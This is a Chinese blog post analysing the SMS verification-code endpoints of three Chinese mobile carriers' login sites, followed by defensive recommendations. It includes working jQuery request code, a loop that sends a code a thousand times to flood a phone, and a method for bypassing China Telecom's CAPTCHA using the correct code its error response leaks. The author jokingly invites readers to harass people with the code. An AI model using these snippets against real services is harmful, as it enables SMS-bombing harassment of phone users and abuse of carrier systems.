这两天在做网站,用到了手机短信验证码。突然想起看看三个移动运营商的网站登录的时候,也有手机短信产生随机码,然后输入手机随机码来登录。经过分析后发现,三个运营商的手机随机码短信,都是通过Ajax方式请求的,而且都存在随意被第三方程序自动调用的情况。下面我们逐一看一看。
首先是联通的网站:
登陆部分的界面如下所示:
上图中点击就可以获取对应用户号码的随机密码,通过短信发送到用户手机中。我通过Chrome的Console看了一下他的客户端脚本,发现没有任何次数和时间上的限制,只要是联通的手机号即可。于是我使用Jquery调用Ajax的代码片段如下,有兴趣的可以使用这个代码给不喜欢的联通用户发送骚扰短信了。(手机号码我就不写了,呵呵)
1: $.ajax({
2: cache: false,
3: type: "GET",
4: url: "http://www.10010.com/login/sendRadomPassword.action",
5: data: "mobile=132********"
6: });
上述示例总是一次请求,如果非要在上面加一个次数的期限的话,他可以是一万次,或者一百万次。比如:
1: var sendTimes = 1000;
2: while (sendTimes > 0) {
3: $.ajax({
4: cache: false,
5: type: "GET",
6: url: "http://www.10010.com/login/sendRadomPassword.action",
7: data: "mobile=132********"
8: });
9: sendTimes--;
10: }
下面轮到中国移动:
中国移动的首页网址为:http://www.bj.10086.cn
登陆画面如下:
上图中已经说明白了,一分钟可以获取一次短信代码。我又查看了客户端的代码,发现她不仅仅有这个限制,而是有很多的服务器端限制,并以状态码返回,我将状态码整理如下:
StateCode | Description |
OK | 随机短信密码码已成功发送,请注意查收! |
LIMIT | 每2分钟最多只能发送3条短信随机码,请稍后再试! |
ERRORNUM | 附加码输入错误,请重试! |
ERRORMOBILE | 手机号码错误,请使用北京移动号码登录! |
DENYSERVICE | 您暂时不能使用北京移动的会员服务! |
DENY | 您暂时不能使用北京移动的会员服务! |
ERRTIME | 一分钟只能获取一次短信密码 |
ERRCOUNT | 一天最多获取十次短信密码 |
其他 | 发送失败,请重试! |
帮移动做网站的程序员水平还是不错,居然设计出这么多状态来,说明并非初级,呵呵。下面给出调用的代码:
1: var mobile = "152********";
2: $.post("http://www.bj.10086.cn/passport/SendTmpNum?wwwreq=false&mobile=" + mobile + "&logintype=2&rnum=&backURL=");
虽然受到限制,不能批量的发,但是你可以半夜给某个人间隔性发几条短信也不错,而且对方还不知道怎么回事儿,居然移动给自己发随机码,呵呵。
中国电信:
下面说说最扯淡的电信,做的相当到位,但又十分弱智,且看我的分析。
登陆页面地址为:http://bj.ct10000.com/login
他做的到位的地方是,需要有正确的验证码的情况下,才能成功发送随机密码短信。因为他的调用方式如下:
1: $.ajax({
2: cache: false,
3: type: "GET",
4: url: "http://bj.ct10000.com/login/fetchMessage.action",
5: data: "custAuthenticateIn.queryValue=189********&randCode=Sa3r"
6: });
上面的URL要求的数据中有手机号码和图片的验证码,我们因为不知道图片上的验证码,所以无法调用成功,但是电信网站的程序员给我们提供了很大的帮助,因为当验证码错误的时候,他也会给我们返回很多数据,下面是当验证码错误的时候,他返回的JSON字符串:
{
"about_menu": 0,
"custAuthenticateIn": {
"areaCode": null,
"contactID": null,
"password": null,
"pwdType": null,
"queryType": null, "queryValue": "189********", "serialID": null, "systemID": null
},
"defaultloginType": 0,
"defaultpwdType": 0,
"info": null,
"loginTypeMap": null,
"ps": null,
"psshop": null,
"pwdTypeMap": null,
"randCode": "Sa3r",
"retInfo": null,
"tip": "验证码错误",
"validateCode": null
}
上面的randCode是我们刚才虚造的验证码,而validateCode就是服务器端存储的正确的验证码。上面validateCode是null,因为我们还没有请求他的验证码图片。如果我们再写一个请求,请求他的验证码图片路径,validateCode就不是空的。
电信的验证码图片路径为http://bj.ct10000.com/authImg?type=0。我在地址栏请求一下这个地址,当然你可以使用js来请求一下,然后我们再使用上面的Ajax请求发送验证码,将会得到如下的输出:
{
"about_menu": 0,
"custAuthenticateIn": {
"areaCode": null,
"contactID": null,
"password": null,
"pwdType": null,
"queryType": null,
"queryValue": "189********",
"serialID": null,
"systemID": null
},
"defaultloginType": 0,
"defaultpwdType": 0,
"info": null,
"loginTypeMap": null,
"ps": null,
"psshop": null,
"pwdTypeMap": null,
"randCode": "Sa3r",
"retInfo": null,
"tip": "验证码错误",
"validateCode": "G9dr"
};
呵呵,上面的返回中已经告诉我validateCode=G9dr,这正是我刚才请求的验证码上面的文字,这样的话,我已经得到正确的验证码,修正一下上面的Ajax请求Data就可以了,请可以循环请求很多次,似乎没有次数和时间的限制;如果非要加上一个次数限制的话,我觉得是一万次。好了电信的随机码就这样吧。
总结:
1、联通的短信随机码服务地址,没有任何限制,显然是不对的。
2、移动的使用了服务器端限制,对同一个客户端来讲,有很多的限制i条款,并有明确的状态代码。
3、电信想法是好的,先通过图片验证码的限制,杜绝机器人程序来请求。但是在图片验证码错误的时候,你不应该把正确的验证码返回客户端啊。
我的建议:
1、客户端代码非常不安全,即便现在的JQuery类库等让客户端变得更强大更丰富,但是实在是不信,就简单通过Chrome的Consloe就可以随意修改网页上的数据和空间。这就要求,客户端不能存储敏感信息,服务器端要负全责,将客户端的所有必要验证,在服务器端重新验证。
2、限制跨域访问,虽然熟练的程序员都有跨域访问的解决方案,但是起码能限制一些。
3、服务器端对发送Email验证、手机短信之类的服务,应该对单一客户端做出限制策略,比如像移动的方案加上电信的验证码。
4、加密混淆客户端JS代码(或者动态加载),让别人不太容易看懂你的程序而且需要查看网页上的web请求才能得到你的调用方式。
5、使用密文了。
以上这些建议中,最可靠的就是服务器端,当然最好5管齐下。有更多更好的建议,大家讨论讨论。
好了,就这样吧,不要把这个文章中的代码用来骚扰别人(用程序骚扰办假证的我不反对啊!)。我们吸取点经验和教训就行了。